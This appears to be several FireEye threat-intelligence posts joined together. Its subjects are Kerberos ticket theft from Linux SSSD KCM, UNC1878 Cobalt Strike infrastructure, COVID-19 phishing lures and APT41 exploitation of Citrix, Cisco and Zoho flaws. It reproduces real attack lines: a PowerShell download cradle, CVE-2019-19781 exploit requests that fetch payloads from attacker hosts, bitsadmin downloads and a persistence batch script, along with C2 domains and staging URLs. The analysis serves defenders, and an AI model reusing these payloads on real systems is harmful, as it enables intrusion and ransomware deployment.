Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets as shown in Figure 3.


Figure 3: Extracting Kerberos data

After manipulating the data retrieved, it is possible to use the CCACHE in smbclient as shown in Figure 4. In this example, a domain administrator ticket was obtained and used to access the domain controller’s C$ share.


Figure 4: Compromising domain controller with extracted tickets

The Python script and instructions can be found on the FireEye Github.

Conclusion

By obtaining privileged access to a domain-joined Linux system, it is often possible to scrape Kerberos tickets useful for lateral movement. Although it is still common to find these tickets in the /tmp directory, it is now possible to also scrape these tickets from modern Linux systems that utilize the SSSD KCM.

With the right Kerberos tickets, it is possible to move laterally to the rest of the Active Directory domain. If a privileged user authenticates to a compromised Linux system (such as a Domain Admin) and leaves a ticket behind, it would be possible to steal that user's ticket and obtain privileged rights in the Active Directory domain.

Appendix: Detailed Example of Kerberos Authentication in Active Directory

To illustrate how Kerberos works, we have selected a common scenario where a user John Smith with the account ACMENET.CORP\sa_jsmith wishes to authenticate to a Windows SMB (CIFS) file share in the Acme Corporation domain, hosted on the server SQLSERVER.ACMENET.CORP.

There are two main types of Kerberos ticket types used in Active Directory: Ticket Granting Ticket (TGT) and service tickets. Service tickets are obtained from the Ticket Granting Service (TGS). The TGT is used to authenticate the identity of a particular entity in Active Directory, such as a user account. Service tickets are used to authenticate a user to a specific service hosted on a domain- joined system. A valid TGT can be used to request service tickets from the Key Distribution Center (KDC). In Active Directory environments, the KDC is hosted on a Domain Controller.

When the user wants to authenticate to the remote file share, Windows first checks if a valid TGT is present in memory on the user's workstation. If a TGT isn't present, a new TGT is requested from the Domain Controller in the form of an AS-REQ request. To prevent password cracking attacks (AS-REP Roasting), by default, Kerberos Preauthentication is performed first. Windows creates a timestamp and encrypts the timestamp with the user's Kerberos key (Note: User Kerberos keys vary based on encryption type. In the case of RC4 encryption, the user's RC4 Kerberos key is directly derived from the user's account password. In the case of AES encryption, the user's Kerberos key is derived from the user's password and a salt based on the username and domain name). The domain controller receives the request and decrypts the timestamp by looking up the user's Kerberos key. An example AS-REQ packet is shown in Figure 5.

Figure 5: AS-REQ

Once preauthentication is successful, the Domain Controller issues an AS-REP response packet that contains various metadata fields, the TGT itself, and an "Authenticator". The data within the TGT itself is considered sensitive. If a user could freely modify the content within the TGT, they could impersonate any user in the domain as performed in the Golden Ticket attack. To prevent this from easily occurring, the TGT is encrypted with the long term Kerberos key stored on the Domain Controller. This key is derived from the password of the krbtgt account in Active Directory.

To prevent users from impersonating another user with a stolen TGT blob, Active Directory’s Kerberos implementation uses session keys that are used for mutual authentication between the user, domain, and service. When the TGT is requested, the Domain Controller generates a session key and places it in two places: the TGT itself (which is encrypted with the krbtgt key and unreadable by the end user), and in a separate structure called the Authenticator. The Domain Controller encrypts the Authenticator with the user's personal Kerberos key.

When Windows receives the AS-REP packet back from the domain controller, it caches the TGT ticket data itself into memory. It also decrypts the Authenticator with the user's Kerberos key and obtains a copy of the session key generated by the Domain Controller. Windows stores this session key in memory for future use. At this point, the user's system has a valid TGT that it can use to request service tickets from the domain controller. An example AS-REP packet is shown in Figure 6.

Figure 6: AS-REP

After obtaining a valid TGT for the user, Windows requests a service ticket for the file share service hosted on the remote system SQLSERVER.ACMENET.CORP. The request is made using the service's Service Principal Name (“SPN”). In this case, the SPN would be cifs/SQLSERVER.ACMENET.CORP. Windows builds the service ticket request in a TGS-REQ packet. Within the TGS-REQ packet, Windows places a copy of the TGT previously obtained from the Domain Controller. This time, the Authenticator is encrypted with the TGT session key previously obtained from the domain controller. An example TGS-REQ packet is shown in Figure 7.

Figure 7: TGS-REQ

Once the Domain Controller receives the TGS-REQ packet, it extracts the TGT from the request and decrypts it with the krbtgt Kerberos key. The Domain Controller verifies that the TGT is valid and extracts the session key field from the TGT. The Domain Controller then attempts to decrypt the Authenticator in the TGS-REQ packet with the session key. Once decrypted, the Domain Controller examines the Authenticator and verifies the contents. If this operation succeeds, the user is considered authenticated by the Domain Controller and the requested service ticket is created.

The Domain Controller generates the service ticket requested for cifs/SQLSERVER.ACMENET.CORP. The data within the service ticket is also considered sensitive. If a user could manipulate the service ticket data, they could impersonate any user on the domain to the service as performed in the Silver Ticket attack. To prevent this from easily happening, the Domain Controller encrypts the service ticket with the Kerberos key of the computer the user is authenticating to. All domain-joined computers in Active Directory possess a randomly generated computer account credential that both the computer and Domain Controller are aware of. The Domain Controller also generates a second session key specific to the service ticket and places a copy in both the encrypted service ticket and a new Authenticator structure. This Authenticator is encrypted with the first session key (the TGT session key). The service ticket, Authenticator, and metadata are bundled in a TGS-REP packet and forwarded back to the user. An example TGS-REP packet is shown in Figure 8.

Figure 8: TGS-REP

Once Windows receives the TGS-REP for cifs/SQLSERVER.ACMENET.CORP, Windows extracts the service ticket from the packet and caches it into memory. It also decrypts the Authenticator with the TGT specific session key to obtain the new service specific session key. Using both pieces of information, it is now possible for the user to authenticate to the remote file share. Windows negotiates a SMB connection with SQLSERVER.ACMENET.CORP. It places a Kerberos blob in an "ap-req" structure. This Kerberos blob includes the service ticket received from the domain controller, a new Authenticator structure, and metadata. The new Authenticator is encrypted with the service specific session key that was previously obtained from the Domain Controller. The authentication process is shown in Figure 9.

Figure 9: Authenticating to SMB (AP-REQ)

Once the file share server receives the authentication request, it first extracts and decrypts the service ticket from the Kerberos authentication blob and verifies the data within. It also extracts the service specific session key from the service ticket and attempts to decrypt the Authenticator with it. If this operation succeeds, the user is considered to be authenticated to the service. The server will acknowledge the successful authentication by sending one final Authenticator back to the user, encrypted with the service specific session key. This action completes the mutual authentication process. The response (contained within an “ap-rep” structure) is shown in Figure 10.

Figure 10: Final Authenticator (Mutual Authentication, AP-REP)

A diagram of the authentication flow is shown in Figure 11.

Figure 11: Example Kerberos authentication flow

It’s Your Money and They Want It Now — The Cycle of Adversary Pursuit

When we discover new intrusions, we ask ourselves questions that will help us understand the totality of the activity set.

How common is this activity? Is there anything unique or special about this malware or campaign? What is new and what is old in terms of TTPs or infrastructure? Is this being seen anywhere else? What information do I have that substantiates the nature of this threat actor?

To track a fast-moving adversary over time, we exploit organic intrusion data, pivot to other data sets, and make that knowledge actionable for analysts and incident responders, enabling new discoveries and assessments on the actor. The FireEye Advanced Practices team exists to know more about the adversary than anyone else, and by asking and answering questions such as these, we enable analyst action in security efforts. In this blog post, we highlight how our cycle of identification, expansion, and discovery was used to track a financially motivated actor across FireEye’s global data sets.

Identification

On January 29, 2020, FireEye Managed Defense investigated multiple TRICKBOT deployments against a U.S. based client. Shortly after initial deployment, TRICKBOT’s networkDll module ran the following network reconnaissance commands (Figure 1).

ipconfig /all
net config workstation
net view /all
net view /all /domain
nltest /domain_trusts
nltest /domain_trusts /all_trusts

Figure 1: Initial Reconnaissance

Approximately twenty minutes after reconnaissance, the adversary ran a PowerShell command to download and execute a Cobalt Strike HTTPS BEACON stager in memory (Figure 2).

cmd.exe /c powershell.exe -nop –w hidden –c “IEX ((new-object net.webclient).downloadstring(‘hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt’))”

Figure 2: PowerShell download cradle used to request a Cobalt Strike stager

Six minutes later, Managed Defense identified evidence of enumeration and attempted lateral movement through the BEACON implant. Managed Defense alerted the client of the activity and the affected hosts were contained, stopping the intrusion in its tracks. A delta of approximately forty-six minutes between a TRICKBOT infection and attempted lateral movement was highly unusual and, along with the clever masquerade domain, warranted further examination by our team.

Although light, indicators from this intrusion were distinct enough to create an uncategorized threat group, referred to as UNC1878. At the time of initial clustering, UNC1878’s intent was not fully understood due to the rapid containment of the intrusion by Managed Defense. By creating this label, we are able to link activity from the Managed Defense investigation into a single entity, allowing us to expand our understanding of this group and track their activity over time. This is especially important when dealing with campaigns involving mass malware, as it helps delineate the interactive actor from the malware campaign they are leveraging. For more information on our clustering methodology, check out our post about how we analyze, separate, or merge these clusters at scale.

Expansion

Pivoting on the command and control (C2) domain allowed us to begin building a profile of UNC1878 network infrastructure. WHOIS records for cylenceprotect[.]com (Figure 3) revealed that the domain was registered on January 27, 2020, with the registrar "Hosting Concepts B.V. d/b/a Openprovider", less than two days before we saw this domain used in activity impacting the Managed Defense customer.

Domain Name: cylenceprotect.com
Registry Domain ID: 2485487352_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.registrar.eu
Registrar URL: http://www.registrar.eu
Updated Date: 2020-01-28T00:35:43Z
Creation Date: 2020-01-27T23:32:18Z
Registrar Registration Expiration Date: 2021-01-27T23:32:18Z
Registrar: Hosting Concepts B.V. d/b/a Openprovider

Figure 3: WHOIS record for the domain cylenceprotect[.]com

Turning our attention to the server, the domain resolved to 45.76.20.140, an IP address owned by the VPS provider Choopa. In addition, the domain used self-hosted name servers ns1.cylenceprotect[.]com and ns2.cylenceprotect[.]com, which also resolved to the Choopa IP address. Network scan data for the server uncovered a certificate on port 80 and 443, a snippet of which can be seen in Figure 4.

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            03:a8:60:02:c7:dd:7f:88:5f:2d:86:0d:88:41:e5:3e:25:f0
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3
        Validity
            Not Before: Jan 28 02:02:14 2020 GMT
            Not After : Apr 27 02:02:14 2020 GMT
        Subject: CN=cylenceprotect[.]com

Figure 4: TLS Certificate for the domain cylenceprotect[.]com

The certificate was issued by Let’s Encrypt, with the earliest validity date within 24 hours of the activity detected by Managed Defense, substantiating the speed in which this threat actor operates. Along with the certificate in Figure 4, we also identified the default generated, self-signed Cobalt Strike certificate (Figure 5) on port 54546 (50050 by default).

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1843990795 (0x6de9110b)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike
        Validity
            Not Before: Jan 28 03:06:30 2020 GMT
            Not After : Apr 27 03:06:30 2020 GMT
        Subject: C=Earth, ST=Cyberspace, L=Somewhere, O=cobaltstrike, OU=AdvancedPenTesting, CN=Major Cobalt Strike

Figure 5: Default Cobalt Strike TLS Certificate used by UNC1878

Similar to the certificate on port 80 and 443, the earliest validity date was again within 24 hours of the intrusion identified by Managed Defense. Continuing analysis on the server, we acquired the BEACON stager and subsequent BEACON payload, which was configured to use the Amazon malleable C2 profile.

While these indicators may not hold significant weight on their own, together they create a recognizable pattern to fuel proactive discovery of related infrastructure. We began hunting for servers that exhibited the same characteristics as those used by UNC1878. Using third-party scan data, we quickly identified additional servers that matched a preponderance of UNC1878 tradecraft:

  • Domains typically comprised of generic IT or security related terms such as “update”, “system”, and “service”.
  • Domains registered with “Hosting Concepts B.V. d/b/a Openprovider" as early as December 19, 2019.
  • Self-hosted name servers.
  • Let’s Encrypt certificates on port 80.
  • Virtual private servers hosted predominantly by Choopa.
  • BEACON payloads configured with the Amazon malleable C2 profile.
  • Cobalt Strike Teams Servers on non-standard ports.

Along with certificates matching UNC1878 tradecraft, we also found self-signed Armitage certificates, indicating this group may use multiple offensive security tools.

Pivoting on limited indicators extracted from a single Managed Defense intrusion, a small cluster of activity was expanded into a more diverse set of indicators cardinal to UNC1878. While the objective and goal of this threat actor had not yet manifested, the correlation of infrastructure allowed our team to recognize this threat actor’s operations against other customers.

Discovery

With an established modus operandi for UNC1878, our team quickly identified several related intrusions in support of FireEye Mandiant investigations over the next week. Within two days of our initial clustering and expansion of UNC1878 from the original Managed Defense investigation, Mandiant Incident Responders were investigating activity at a U.S. based medical equipment company with several indicators we had previously identified and attributed to UNC1878. Attributed domains, payloads and methodologies provided consultants with a baseline to build detections on, as well as a level of confidence in the actor’s capabilities and speed in which they operate.

Three days later, UNC1878 was identified during another incident response engagement at a restaurant chain. In this engagement, Mandiant consultants found evidence of attempted deployment of RYUK ransomware on hundreds of systems, finally revealing UNC1878’s desired end goal. In the following weeks, we continued to encounter UNC1878 in various phases of their intrusions at several Mandiant Incident Response and Managed Defense customers.

While services data offers us a depth of understanding into these intrusions, we turn to our product telemetry to understand the breadth of activity, getting a better worldview and perspective on the global prevalence of this threat actor. This led to the discovery of an UNC1878 intrusion at a technology company, resulting in Mandiant immediately notifying the affected customer. By correlating multiple UNC1878 intrusions across our services and product customers, it became evident that the targeting was indiscriminate, a common characteristic of opportunistic ransomware campaigns.

Although initially there were unanswered questions surrounding UNC1878’s intent, we were able to provide valuable insights into their capabilities to our consultants and analysts. In turn, the intrusion data gathered during these engagements continued the cycle of building our understanding of UNC1878’s tradecraft, enabling our responders to handle these incidents swiftly in the face of imminent ransomware deployment.

Conclusion

Threat actors continue to use mass malware campaigns to establish footholds into target environments, followed by interactive operations focused on deploying ransomware such as RYUK, DOPPLEPAYMER and MAZE. Looking at the overall trend of intrusions FireEye responds to, the growing shift from traditional PCI theft to ransomware has allowed threat actors such as UNC1878 to widen their scope and increase their tempo, costing organizations millions of dollars due to business disruption and ransom payments. However, apart from their speed, UNC1878 does not stand out among the increasing number of groups following this trend, and should not be the key takeaway of this blog post.

The cycle of analysis and discovery used for UNC1878 lies at the core of our team’s mission to rapidly detect and pursue impactful adversaries at scale. Starting from a singular intrusion at a Managed Defense client, we were able to discover UNC1878 activity at multiple customers. Using our analysis of the early stages of their activity allowed us to pivot and pursue this actor across otherwise unrelated investigations. As we refine and expand our understanding of UNC1878’s tradecraft, our team enables Mandiant and Managed Defense to efficiently identify, respond to, and eradicate a financially motivated threat actor whose end goal could cripple targeted organizations. The principles applied in pursuit of this actor are crucial to tracking any adversary and are ultimately how the Advanced Practices team surfaces meaningful activity across the FireEye ecosystem.

Acknowledgements

Thank you to Andrew Thompson, Dan Perez, Steve Miller, John Gorman and Brendan McKeague for technical review of this content. In addition, thank you to the frontline responders harvesting valuable intrusion data that enables our research.

Indicators of Compromise

Domains

  • aaatus[.]com
  • avrenew[.]com
  • besttus[.]com
  • bigtus[.]com
  • brainschampions[.]com
  • checkwinupdate[.]com
  • ciscocheckapi[.]com
  • cleardefencewin[.]com
  • cmdupdatewin[.]com
  • comssite[.]com
  • conhostservice[.]com
  • cylenceprotect[.]com
  • defenswin[.]com
  • easytus[.]com
  • findtus[.]com
  • firsttus[.]com
  • freeallsafe[.]com
  • freeoldsafe[.]com
  • greattus[.]com
  • havesetup[.]net
  • iexploreservice[.]com
  • jomamba[.]best
  • livecheckpointsrs[.]com
  • livetus[.]com
  • lsassupdate[.]com
  • lsasswininfo[.]com
  • microsoftupdateswin[.]com
  • myservicebooster[.]com
  • myservicebooster[.]net
  • myserviceconnect[.]net
  • myserviceupdater[.]com
  • myyserviceupdater[.]com
  • renovatesystem[.]com
  • service-updater[.]com
  • servicesbooster[.]com
  • servicesbooster[.]org
  • servicesecurity[.]org
  • serviceshelpers[.]com
  • serviceupdates[.]net
  • serviceuphelper[.]com
  • sophosdefence[.]com
  • target-support[.]online
  • taskshedulewin[.]com
  • timesshifts[.]com
  • topsecurityservice[.]net
  • topservicehelper[.]com
  • topservicesbooster[.]com
  • topservicesecurity[.]com
  • topservicesecurity[.]net
  • topservicesecurity[.]org
  • topservicesupdate[.]com
  • topservicesupdates[.]com
  • topserviceupdater[.]com
  • update-wind[.]com
  • updatemanagir[.]us
  • updatewinlsass[.]com
  • updatewinsoftr[.]com
  • web-analysis[.]live
  • windefenceinfo[.]com
  • windefens[.]com
  • winsysteminfo[.]com
  • winsystemupdate[.]com
  • worldtus[.]com
  • yoursuperservice[.]com

IP Addresses

  • 31.7.59.141
  • 45.32.30.162
  • 45.32.130.5
  • 45.32.161.213
  • 45.32.170.9
  • 45.63.8.219
  • 45.63.95.187
  • 45.76.20.140
  • 45.76.167.35
  • 45.76.231.195
  • 45.77.58.172
  • 45.77.89.31
  • 45.77.98.157
  • 45.77.119.212
  • 45.77.153.72
  • 45.77.206.105
  • 63.209.33.131
  • 66.42.97.225
  • 66.42.99.79
  • 79.124.60.117
  • 80.240.18.106
  • 81.17.25.210
  • 95.179.147.215
  • 95.179.210.8
  • 95.179.215.228
  • 96.30.192.141
  • 96.30.193.57
  • 104.156.227.250
  • 104.156.245.0
  • 104.156.250.132
  • 104.156.255.79
  • 104.238.140.239
  • 104.238.190.126
  • 108.61.72.29
  • 108.61.90.90
  • 108.61.176.237
  • 108.61.209.123
  • 108.61.242.184
  • 140.82.5.67
  • 140.82.10.222
  • 140.82.27.146
  • 140.82.60.155
  • 144.202.12.197
  • 144.202.83.4
  • 149.28.15.247
  • 149.28.35.35
  • 149.28.50.31
  • 149.28.55.197
  • 149.28.81.19
  • 149.28.113.9
  • 149.28.122.130
  • 149.28.246.25
  • 149.248.5.240
  • 149.248.56.113
  • 149.248.58.11
  • 151.106.56.223
  • 155.138.135.182
  • 155.138.214.247
  • 155.138.216.133
  • 155.138.224.221
  • 207.148.8.61
  • 207.148.15.31
  • 207.148.21.17
  • 207.246.67.70
  • 209.222.108.106
  • 209.250.255.172
  • 216.155.157.249
  • 217.69.15.175

BEACON Staging URLs

  • hxxp://104.156.255[.]79:80/avbcbgfyhunjmkmk
  • hxxp://149.28.50[.]31:80/adsrxdfcffdxfdsgfxzxds
  • hxxp://149.28.81[.]19:80/ajdlkashduiqwhuyeu12312g3yugshdahqjwgye1g2uy31u1
  • hxxp://45.32.161[.]213:80/ephfusaybuzabegaexbkakskjfgksajgbgfckskfnrdgnkhdsnkghdrngkhrsngrhgcngyggfxbgufgenwfxwgfeuyenfgx
  • hxxp://45.63.8[.]219:80/ajhgfrtyujhytr567uhgfrt6y789ijhg
  • hxxp://66.42.97[.]225:80/aqedfy345yu9876red45f6g78j90
  • hxxp://findtus[.]com/akkhujhbjcjcjhufuuljlvu
  • hxxp://thedemocraticpost[.]com/kflmgkkjdfkmkfl
  • hxxps://brainschampions[.]com:443/atrsgrtehgsetrh5ge
  • hxxps://ciscocheckapi[.]com:80/adsgsergesrtvfdvsa
  • hxxps://cylenceprotect[.]com:80/abresgbserthgsbabrt
  • hxxps://havesetup[.]net/afgthyjuhtgrfety
  • hxxps://servicesbooster[.]org:443/sfer4f54
  • hxxps://servicesecurity[.]org:443/fuhvbjk
  • hxxps://timesshifts[.]com:443/akjhtyrdtfyguhiugyft
  • hxxps://timesshifts[.]com:443/ry56rt6yh5rth
  • hxxps://update-wind[.]com/aergerhgrhgeradgerg
  • hxxps://updatemanagir[.]us:80/afvSfaewfsdZFAesf

Social Engineering Based on Stimulus Bill and COVID-19 Financial Compensation Schemes Expected to Grow in Coming Weeks

Given the community interest and media coverage surrounding the economic stimulus bill currently being considered by the United States House of Representatives, we anticipate attackers will increasingly leverage lures tailored to the new stimulus bill and related recovery efforts such as stimulus checks, unemployment compensation and small business loans. Although campaigns employing themes relevant to these matters are only beginning to be adopted by threat actors, we expect future campaigns—primarily those perpetrated by financially motivated threat actors—to incorporate these themes in proportion to the media’s coverage of these topics.

Threat actors with varying motivations are actively exploiting the current pandemic and public fear of the coronavirus and COVID-19. This is consistent with our expectations; malicious actors are typically quick to adapt their social engineering lures to exploit major flashpoints along with other recurrent events (e.g. holidays, Olympics). Security researchers at FireEye and in the broader community have already begun to identify and report on COVID-19 themed campaigns with grant, payment, or economic recovered themed emails and attachments.

Example Malware Distribution Campaign

On March 18, individuals at corporations across a broad set of industries and geographies received emails with the subject line “COVID-19 Payment” intended to distribute the SILENTNIGHT banking malware (also referred to by others as Zloader). Despite the campaign’s broad distribution, a plurality of associated messages were sent to organizations based in Canada. Interestingly, although the content of these emails was somewhat generic, they were sometimes customized to reference a payment made in currency relevant to the recipient’s geography and contextually relevant government officials (Figure 1 and Figure 2). These emails were sent from a large pool of different @gmx.com email addresses and had password protected Microsoft Word document attachments using the file name “COVID 19 Relief.doc” (Figure 3). The emails appear to be auto generated and follow the format <name>.<name><SevenNumberString>@gmx.com. When these documents were opened and macros enabled, they would drop and execute a .JSE script crafted to download and execute an instance of SILENTNIGHT from http://209.141.54[.]161/crypt18.dll.

An analyzed sample of SILENTNIGHT downloaded from this URL had an MD5 hash of 9e616a1757cf1d40689f34d867dd742e, employed the RC4 key 'q23Cud3xsNf3', and was associated with the SILENTNIGHT botnet 'PLSPAM'. This botnet has been seen loading configuration files containing primarily U.S.- and Canada financial institution webinject targets. Furthermore, this sample was configured to connect to the following controller infrastructure:

  • http://marchadvertisingnetwork4[.]com/post.php
  • http://marchadvertisingnetwork5[.]com/post.php
  • http://marchadvertisingnetwork6[.]com/post.php
  • http://marchadvertisingnetwork7[.]com/post.php
  • http://marchadvertisingnetwork8[.]com/post.php
  • http://marchadvertisingnetwork9[.]com/post.php
  • http://marchadvertisingnetwork10[.]com/post.php


Figure 1: Example lure using CAD


Figure 2: Example lure using AUD


Figure 3: Malicious Word document

Example Phishing Campaign

Individuals at financial services organizations in the United States were sent emails with the subject line “Internal Guidance for Businesses Grant and loans in response to respond to COVID-19” (Figure 4). These emails had OpenDocument Presentation (.ODP) format attachments that, when opened in Microsoft PowerPoint or OpenOffice Impress, display a U.S. Small Business Administration (SBA) themed message (Figure 5) and an in-line link that redirects to an Office 365 phishing kit (Figure 6) hosted at https://tyuy56df-kind-giraffe-ok.mybluemix[.]net/.


Figure 4: Email lure referencing business grants and loans


Figure 5: SBA-themed message


Figure 6: Office 365 phishing page

Implications

Malicious actors have always exploited users’ sense of urgency, fear, goodwill and mistrust to enhance their operations. The threat actors exploiting this crisis are not new, they are simply taking advantage of a particularly overtaxed target set that is urgently seeking new information. Users who are aware of this dynamic, and who approach any new information with cautious skepticism will be especially prepared to meet this challenge.

This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.

Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])

Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).


Figure 1: Timeline of key events

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.  

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[redacted]
Content-Length: 96

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `file /bin/pwd`') %]

Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`') %]

Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781

We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title= [redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`') %]

Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781

Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.

Cisco Router Exploitation

On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.

GET /test/fuc
HTTP/1.1
Host: 66.42.98\.220
User-Agent: Wget
Connection: close

Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget

66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration.

Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action:

Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)

On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “logger.zip”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.

java/lang/Runtime

getRuntime

()Ljava/lang/Runtime;

Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\
Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll','
C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat

'(Ljava/lang/String;)Ljava/lang/Process;

StackMapTable

ysoserial/Pwner76328858520609

Lysoserial/Pwner76328858520609;

Figure 6: Contents of logger.zip

Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.

In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.

Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe

Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:\Users\Public\install.bat

Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation

In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).

@echo off

set "WORK_DIR=C:\Windows\System32"

set "DLL_NAME=storesyncsvc.dll"

set "SERVICE_NAME=StorSyncSvc"

set "DISPLAY_NAME=Storage Sync Service"

set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly."

 sc stop %SERVICE_NAME%

sc delete %SERVICE_NAME%

mkdir %WORK_DIR%

copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f

sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%"

SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000

sc description "%SERVICE_NAME%" "%DESCRIPTION%"

